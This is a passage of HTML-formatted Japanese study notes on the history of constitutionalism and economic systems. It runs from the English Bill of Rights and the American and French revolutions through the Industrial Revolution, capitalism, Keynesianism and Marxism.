&lt;p&gt;&lt;strong&gt;歴史的位置づけ：&lt;/strong&gt; 絶対王政を制限し、立憲主義の先駆けとなった重要な歴史的事件&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;革命の経緯：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;1688年：&lt;/strong&gt; 名誉革命（無血革命）
&lt;ul&gt;
&lt;li&gt;ジェームズ2世の専制政治に対する議会の反発&lt;/li&gt;
&lt;li&gt;オランダからウィリアム3世とメアリー2世を招請&lt;/li&gt;
&lt;li&gt;無血で王位を交代&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;1689年：&lt;/strong&gt; 権利の章典（Bill of Rights）制定
&lt;ul&gt;
&lt;li&gt;議会が国王の権力を制限&lt;/li&gt;
&lt;li&gt;議会の同意なしの課税禁止&lt;/li&gt;
&lt;li&gt;議会の同意なしの常備軍保持禁止&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;権利の章典の意義：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;議会主権の確立：&lt;/strong&gt; 議会が国王の権力を制限&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;立憲主義の先駆け：&lt;/strong&gt; 権力制限の先例（イギリスは不文憲法）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;法の支配の確立：&lt;/strong&gt; 国王も法に従うべきという原則&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;基本的人権の保障：&lt;/strong&gt; 請願権、議会での言論の自由などを保障&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;歴史的意義：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;世界初の立憲君主制の確立&lt;/li&gt;
&lt;li&gt;後のアメリカ独立革命やフランス革命に影響&lt;/li&gt;
&lt;li&gt;立憲主義の実践的先例となった&lt;/li&gt;
&lt;li&gt;日本国憲法の立憲主義にも影響&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;イギリス憲法の特徴：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;不文憲法：&lt;/strong&gt; 成文憲法ではなく、複数の法律と慣習から構成&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;議院内閣制：&lt;/strong&gt; 議会と内閣の密接な関係&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;法の支配：&lt;/strong&gt; 国家権力も法に従う原則&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;3. アメリカ独立革命と合衆国憲法（1776-1787年）&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;時期：&lt;/strong&gt; 18世紀後半（1776-1787年）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;歴史的位置づけ：&lt;/strong&gt; 近代立憲主義を実践的に確立した重要な歴史的事件&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;独立革命の経緯：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;1776年7月4日：&lt;/strong&gt; 独立宣言採択
&lt;ul&gt;
&lt;li&gt;トーマス・ジェファソンが起草&lt;/li&gt;
&lt;li&gt;「すべての人間は平等に造られている」と宣言&lt;/li&gt;
&lt;li&gt;イギリスからの独立を宣言&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;1783年：&lt;/strong&gt; 独立戦争の終結&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;1787年：&lt;/strong&gt; 合衆国憲法制定（フィラデルフィア会議）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;独立宣言の意義：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;自然権思想の明文化：&lt;/strong&gt; 「生命、自由、幸福追求の権利」を不可侵の権利として宣言&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;国民主権の確立：&lt;/strong&gt; 政府の権力は被治者の同意に基づく&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;革命権の主張：&lt;/strong&gt; 専制政治に対して抵抗する権利を認める&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;普遍的人権の主張：&lt;/strong&gt; 人権は特定の国家に限定されない&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;合衆国憲法の特徴：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;近代的な成文憲法の先駆け：&lt;/strong&gt; 成文化された憲法として重要な意義を持つ&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;権力分立の徹底：&lt;/strong&gt; 立法・行政・司法の三権分立を明確に規定&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;連邦制：&lt;/strong&gt; 連邦政府と州政府の権限を分離&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;修正条項：&lt;/strong&gt; 憲法改正の手続きを規定（後に権利章典として10条追加）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;権利章典（修正第1条～第10条、1791年）：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;第1条：&lt;/strong&gt; 信教の自由、言論の自由、出版の自由、集会の自由&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;第2条：&lt;/strong&gt; 武器を保持する権利&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;第3条：&lt;/strong&gt; 兵士の宿営の禁止&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;第4条：&lt;/strong&gt; 不合理な捜索・押収の禁止&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;第5条：&lt;/strong&gt; 適正手続きの保障、自己負罪拒否権、二重処罰の禁止&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;第6条：&lt;/strong&gt; 迅速な公開裁判の権利、陪審裁判の権利&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;第7条：&lt;/strong&gt; 民事事件における陪審裁判の権利&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;第8条：&lt;/strong&gt; 過度の保釈金や残酷な刑罰の禁止&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;第9条：&lt;/strong&gt; 憲法に列挙されていない権利も保持される&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;第10条：&lt;/strong&gt; 連邦政府に委任されていない権限は州または人民に留保される&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;歴史的意義：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;立憲主義の実践的先例を確立&lt;/li&gt;
&lt;li&gt;権力分立の理論を実践&lt;/li&gt;
&lt;li&gt;後のフランス革命に影響&lt;/li&gt;
&lt;li&gt;日本国憲法の権力分立にも影響&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;4. フランス革命（1789年）&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;時期：&lt;/strong&gt; 18世紀後半（1789年）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;歴史的位置づけ：&lt;/strong&gt; 絶対王政を打倒し、近代立憲主義を確立した重要な歴史的事件&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;革命の経緯：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;1789年7月14日：&lt;/strong&gt; バスティーユ牢獄襲撃（革命の開始）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;1789年8月26日：&lt;/strong&gt; 人間と市民の権利の宣言（人権宣言）採択&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;1791年：&lt;/strong&gt; フランス最初の憲法制定&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;人権宣言の意義：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;「人は生まれながらにして自由で平等な権利を持つ」という思想を明文化&lt;/li&gt;
&lt;li&gt;基本的人権の普遍性を主張&lt;/li&gt;
&lt;li&gt;後の立憲主義の基礎となった&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;革命がもたらしたもの：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;貴族・聖職者の特権廃止&lt;/li&gt;
&lt;li&gt;法の下の平等の確立&lt;/li&gt;
&lt;li&gt;立憲主義の原則の確立&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;影響：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ヨーロッパ各国に立憲主義思想が広がる&lt;/li&gt;
&lt;li&gt;日本の明治憲法（大日本帝国憲法）にも影響を与えた&lt;/li&gt;
&lt;li&gt;現代の立憲民主主義の基盤となった&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;5. 近代国家の成立&lt;/h2&gt;
&lt;h3&gt;5.1 立憲主義&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;定義：&lt;/strong&gt; 国家権力を憲法によって制限し、国民の権利と自由を保障する政治原理&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;核心的原理：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;権力分立：&lt;/strong&gt; 立法権、行政権、司法権を分離し、相互に抑制・均衡させる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;基本的人権の保障：&lt;/strong&gt; 国家権力から国民の権利を守る&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;国民主権：&lt;/strong&gt; 政治権力の源泉は国民にある&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;歴史的発展：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;17世紀イギリス：&lt;/strong&gt; 権利の章典（1689年）- 議会主権の確立&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;18世紀アメリカ：&lt;/strong&gt; 独立宣言（1776年）、合衆国憲法（1787年）- 成文憲法による権力分立&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;18世紀フランス：&lt;/strong&gt; 人権宣言（1789年）- 基本的人権の普遍性の主張&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;現代における意義：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;民主主義の基盤となる原理&lt;/li&gt;
&lt;li&gt;権力の濫用を防ぐ仕組み&lt;/li&gt;
&lt;li&gt;日本国憲法の基本理念&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;5.2 法の支配&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;定義：&lt;/strong&gt; 国家権力も法律に従わなければならず、恣意的な権力行使を禁止する原理&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;基本原則：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;適法性の原則：&lt;/strong&gt; 国家権力は法律に基づいてのみ行使される&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;権力分立：&lt;/strong&gt; 権力の集中を防ぐ&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;司法の独立性：&lt;/strong&gt; 裁判所が政治権力から独立して判断する&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;法の支配と法治主義の違い：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;法の支配（Rule of Law）：&lt;/strong&gt; 国家権力も法に従うべきとするイギリス発の原理&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;法治主義（Legal State）：&lt;/strong&gt; 法律による統治を重視するドイツ発の原理&lt;/li&gt;
&lt;li&gt;日本の憲法は「法の支配」を採用&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;意義：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;専制政治を防ぐ&lt;/li&gt;
&lt;li&gt;国民の権利を保障する&lt;/li&gt;
&lt;li&gt;民主主義の基盤を形成する&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;5.3 夜警国家観（最小国家論）&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;時期：&lt;/strong&gt; 19世紀初頭から20世紀初頭&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;定義：&lt;/strong&gt; 国家の役割を治安維持（警察）と国防（軍隊）に限定し、経済活動への介入を最小限にとどめる国家観&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;特徴：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;自由放任主義（レッセフェール）：&lt;/strong&gt; 市場経済への政府介入を最小限に&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;個人の自由を重視：&lt;/strong&gt; 国家は個人の自由を侵害しない&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;消極的国家：&lt;/strong&gt; 国家は「守る」ことに専念し、「与える」ことはしない&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;代表的な思想家：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;アダム・スミス（1723-1790）：&lt;/strong&gt; 「見えざる手」による市場原理を主張&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ジョン・ロック（1632-1704）：&lt;/strong&gt; 国家の役割を保護に限定&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;歴史的背景：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;19世紀初頭から20世紀初頭にかけて支配的だった思想&lt;/li&gt;
&lt;li&gt;産業革命期の自由な経済活動を支えた&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;問題点：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;貧富の格差が拡大&lt;/li&gt;
&lt;li&gt;労働者の過酷な労働条件&lt;/li&gt;
&lt;li&gt;経済恐慌への対処が不十分&lt;/li&gt;
&lt;li&gt;社会的弱者の救済が不足&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;意義：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;個人の自由と経済活動の自由を保障&lt;/li&gt;
&lt;li&gt;現代国家への転換の出発点となった&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;6. 産業革命（18世紀後半～19世紀）&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;時期：&lt;/strong&gt; 18世紀後半（1760年代）から19世紀&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;定義：&lt;/strong&gt; 手工業から機械工業への転換により、生産力が飛躍的に向上した経済・社会の変革&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;歴史的経緯：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;18世紀後半（1760年代～）：&lt;/strong&gt; イギリスで開始&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;19世紀：&lt;/strong&gt; ヨーロッパ各国、アメリカ、日本に波及&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;第一次産業革命：&lt;/strong&gt; 蒸気機関の発明と活用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;第二次産業革命：&lt;/strong&gt; 電力、化学工業の発達&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;社会的影響：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;都市化：&lt;/strong&gt; 農村から都市への人口移動&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;労働者の増加：&lt;/strong&gt; 工場労働者の大量発生&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;階級対立：&lt;/strong&gt; 資本家と労働者の対立&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;生活様式の変化：&lt;/strong&gt; 家族制度、生活習慣の変化&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;経済的影響：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;生産力の飛躍的向上：&lt;/strong&gt; 大量生産が可能に&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;資本の集中：&lt;/strong&gt; 大企業の出現&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;世界市場の形成：&lt;/strong&gt; 国際貿易の拡大&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;憲法への影響：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;労働者の権利保障の必要性が認識される&lt;/li&gt;
&lt;li&gt;社会権の重要性が高まる&lt;/li&gt;
&lt;li&gt;現代憲法の社会権規定へとつながる&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;7. 資本主義経済の展開&lt;/h2&gt;
&lt;h3&gt;7.1 資本主義経済の基本構造&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;時期：&lt;/strong&gt; 18世紀後半から現代まで&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;定義：&lt;/strong&gt; 資本家が資本（資金、生産手段）を所有し、労働者を雇って商品を生産し、市場で販売することで利潤を得る経済システム&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;基本要素：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;資本家：&lt;/strong&gt; 資本（資金、生産手段）を所有する人&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;労働者：&lt;/strong&gt; 労働力を提供して賃金を得る人&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;生産手段：&lt;/strong&gt; 工場、機械、土地などの生産に必要なもの&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;商品：&lt;/strong&gt; 市場で取引される製品やサービス&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;利潤：&lt;/strong&gt; 売上から費用を差し引いた利益&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;資本主義の特徴：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;私有財産制：&lt;/strong&gt; 個人や企業が財産を所有できる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;市場経済：&lt;/strong&gt; 価格メカニズムによる資源配分&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;競争原理：&lt;/strong&gt; 企業間の競争による品質向上・価格低下&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;利益追求：&lt;/strong&gt; 企業の主目的は利潤の最大化&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;歴史的発展：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;産業革命期：&lt;/strong&gt; 自由競争が支配的&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;19世紀後半：&lt;/strong&gt; 独占資本主義への移行&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;20世紀：&lt;/strong&gt; 修正資本主義への転換&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;7.2 自由主義から独占資本主義へ&lt;/h3&gt;
&lt;h4&gt;自由主義（リベラリズム）&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;時期：&lt;/strong&gt; 18世紀後半～19世紀前半&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;定義：&lt;/strong&gt; 国家の介入を最小限に抑え、個人や企業の自由な活動を重視する思想&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;特徴：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;国家の経済への介入を制限&lt;/li&gt;
&lt;li&gt;個人の自由な経済活動を保障&lt;/li&gt;
&lt;li&gt;市場メカニズムに任せる&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;歴史的展開：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;18世紀後半～19世紀前半：自由主義が支配的&lt;/li&gt;
&lt;li&gt;19世紀後半：独占資本主義への移行&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;不況恐慌&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;時期：&lt;/strong&gt; 20世紀（特に1929年）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;定義：&lt;/strong&gt; 資本主義経済において定期的に発生する深刻な経済不況&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;歴史的事例：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;1929年の世界大恐慌：&lt;/strong&gt; アメリカ発の世界的経済危機
&lt;ul&gt;
&lt;li&gt;株価の大暴落&lt;/li&gt;
&lt;li&gt;大量の失業&lt;/li&gt;
&lt;li&gt;銀行の倒産&lt;/li&gt;
&lt;li&gt;世界的な不況の拡大&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;恐慌の原因：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;過剰生産：&lt;/strong&gt; 需要を上回る生産&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;投機：&lt;/strong&gt; 過度な投機活動&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;格差の拡大：&lt;/strong&gt; 購買力の低下&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;信用の縮小：&lt;/strong&gt; 銀行の貸し渋り&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;恐慌の影響：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;大量失業の発生&lt;/li&gt;
&lt;li&gt;企業の倒産&lt;/li&gt;
&lt;li&gt;社会的混乱&lt;/li&gt;
&lt;li&gt;政治的不安定&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;意義：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;自由放任経済の限界が明らかになった&lt;/li&gt;
&lt;li&gt;国家の経済介入の必要性が認識された&lt;/li&gt;
&lt;li&gt;修正資本主義への転換の契機となった&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;独占資本主義&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;時期：&lt;/strong&gt; 19世紀後半～20世紀初頭&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;定義：&lt;/strong&gt; 少数の大企業が市場を支配し、競争が制限される経済体制&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;特徴：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;企業の巨大化：&lt;/strong&gt; 大企業による市場支配&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;競争の制限：&lt;/strong&gt; 独占・寡占状態の形成&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;資本の集中：&lt;/strong&gt; 財閥やトラストの形成&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;労働者の組織化：&lt;/strong&gt; 労働組合の結成&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;歴史的背景：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;19世紀後半から20世紀初頭にかけて進行&lt;/li&gt;
&lt;li&gt;産業革命により企業が巨大化&lt;/li&gt;
&lt;li&gt;競争により弱い企業が淘汰され、強い企業が残る&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;問題点：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;市場の独占による価格操作&lt;/li&gt;
&lt;li&gt;中小企業の排除&lt;/li&gt;
&lt;li&gt;労働条件の悪化&lt;/li&gt;
&lt;li&gt;格差の拡大&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;意義：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;資本主義の発展段階の一つ&lt;/li&gt;
&lt;li&gt;国家の経済介入の必要性が高まる&lt;/li&gt;
&lt;li&gt;社会主義思想への関心が高まる&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;7.3 資本主義の修正と批判&lt;/h3&gt;
&lt;h4&gt;修正資本主義（ケインズ主義）&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;時期：&lt;/strong&gt; 20世紀（1930年代～）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;定義：&lt;/strong&gt; ケインズの理論に基づき、政府が積極的に経済に介入して資本主義の弊害を修正しようとする思想&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ジョン・メイナード・ケインズ（1883-1946）：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;イギリスの経済学者&lt;/li&gt;
&lt;li&gt;1936年：『雇用・利子および貨幣の一般理論』を発表&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;ケインズ理論の核心：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;有効需要の管理：&lt;/strong&gt; 政府が需要をコントロールする&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;財政政策：&lt;/strong&gt; 公共事業による景気刺激&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;金融政策：&lt;/strong&gt; 金利調整による経済調整&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;失業対策：&lt;/strong&gt; 政府による雇用創出&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;修正資本主義の政策：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;景気刺激策：&lt;/strong&gt; 不況時には公共事業を拡大&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;社会保障：&lt;/strong&gt; 失業保険、生活保護などの充実&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;累進課税：&lt;/strong&gt; 所得格差の是正&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;社会保険：&lt;/strong&gt; 医療、年金制度の整備&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;意義：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;自由放任経済の限界を補う&lt;/li&gt;
&lt;li&gt;福祉国家の理論的基盤となった&lt;/li&gt;
&lt;li&gt;日本国憲法の社会権規定に影響&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;現代における課題：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;財政赤字の拡大&lt;/li&gt;
&lt;li&gt;経済成長率の低下&lt;/li&gt;
&lt;li&gt;グローバル化への対応&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;社会主義・共産主義（マルクス主義）&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;時期：&lt;/strong&gt; 19世紀後半～20世紀&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;定義：&lt;/strong&gt; カール・マルクス（1818-1883）の理論に基づき、資本主義の弊害を根本から解決するため、生産手段の社会的所有と計画経済を主張する思想&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;カール・マルクスの理論：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;共産党宣言（1848年）：&lt;/strong&gt; 労働者階級の解放を訴える&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;資本論（1867年）：&lt;/strong&gt; 資本主義の構造的矛盾を分析&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;マルクス主義の核心：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;資本主義の矛盾：&lt;/strong&gt; 資本家と労働者の対立は不可避&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;階級闘争：&lt;/strong&gt; 労働者階級が資本家階級と闘争する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;革命：&lt;/strong&gt; 資本主義から社会主義への転換&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;生産手段の社会化：&lt;/strong&gt; 私有を廃止し、社会全体で所有&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;社会主義・共産主義の特徴：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;生産手段の公有化：&lt;/strong&gt; 工場、土地などを社会全体で所有&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;計画経済：&lt;/strong&gt; 市場に任せず、国家が経済を計画&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;労働者の解放：&lt;/strong&gt; 搾取からの解放&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;平等社会：&lt;/strong&gt; 階級のない社会を目指す&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;歴史的展開：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;1917年：&lt;/strong&gt; ロシア革命（ソビエト連邦の成立）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;1949年：&lt;/strong&gt; 中華人民共和国の成立&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;冷戦期：&lt;/strong&gt; 資本主義陣営と社会主義陣営の対立&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;資本主義国家への影響：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
